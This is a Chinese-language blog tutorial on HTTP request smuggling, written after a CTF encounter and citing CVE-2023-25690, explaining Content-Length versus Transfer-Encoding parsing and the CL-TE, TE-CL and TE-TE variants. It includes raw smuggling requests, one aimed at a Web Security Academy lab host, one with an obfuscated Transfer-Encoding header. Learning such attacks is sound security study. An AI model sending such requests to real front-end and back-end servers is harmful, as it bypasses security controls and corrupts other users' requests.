HTTP请求走私漏洞

因为在强网杯s9中遇到了有关HTTP请求走私漏洞,所以想学习并复现一下这个漏洞

漏洞编号:CVE-2023-25690

漏洞核心原理

漏洞定义:

HTTP请求走私(HTTP Request Smuggling)是一种利用前端服务器(如代理、负载均衡器)与后端服务器在解析HTTP请求时的不一致性,绕过安全机制并执行恶意操作的攻击技术。
其核心在于混淆请求边界,使前后端服务器对同一请求的解析结果不同,导致攻击者注入的恶意请求被后端服务器单独处理。

漏洞成因:

HTTP/1.1协议允许通过两种方式指定请求体长度:
Content-Length:直接声明请求体字节数。
Transfer-Encoding: chunked :分块传输,以0\r\n\r\n标记结束。
当前后端服务器对这两种方式的处理逻辑不一致时(如前端按Content-Length解析,后端按Transfer-Encoding解析),攻击者可构造特殊请求,使前端转发一个请求,而后端将其拆分为多个请求,从而绕过安全控制。

CL和TE

CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头,其中CL的值表示数据包的数据的长度,TE:
设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length


这里值得注意的是:
CL表示的数据包长度包括了\r和\n,比如说:
image
这里的数据包长度是9,但数据内容只有“hello”,是因为长度还包括了\r和\n


当设置了 Transfer-Encoding: chunked 时在每个块的开头需要用十六进制数指明当前块的长度,数值后接 \r\n(占 2 字节),然后是块的内容,再接 \r\n 表示此块结束,当最后输入长度为0时,表示结束。
例如:

POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
6
hahaha
0

走私方式

CL-TE

前置服务器认为 Content-Length 优先级更高(或者根本就不支持 Transfer-Encoding ) ,后端认为 Transfer-Encoding 优先级更高。
例如:

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

♦这里前端服务器认为请求体的长度是6,是一个完整的数据包;后端服务器读取到 0 的时候就认为请求体已经结束了。这样,'G'就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......

TE-CL

TE-CL:前置服务器认为 Transfer-Encoding 优先级更高,后端认为 Content-Length 优先级更高(或者不支持 Transfer-Encoding )。

实现方法与“CL-TE”相类似

TE-TE

前置和后端服务器都支持 Transfer-Encoding,但我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。,其实也就是变成了 CL-TE 或 TE-CL。


姿势-构造数据包:

POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding[空格]: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0





[========]

参考博客:

posted @ 2025-10-22 16:40  fnalshy  阅读(55)  评论(0)    收藏  举报
//雪花飘落效果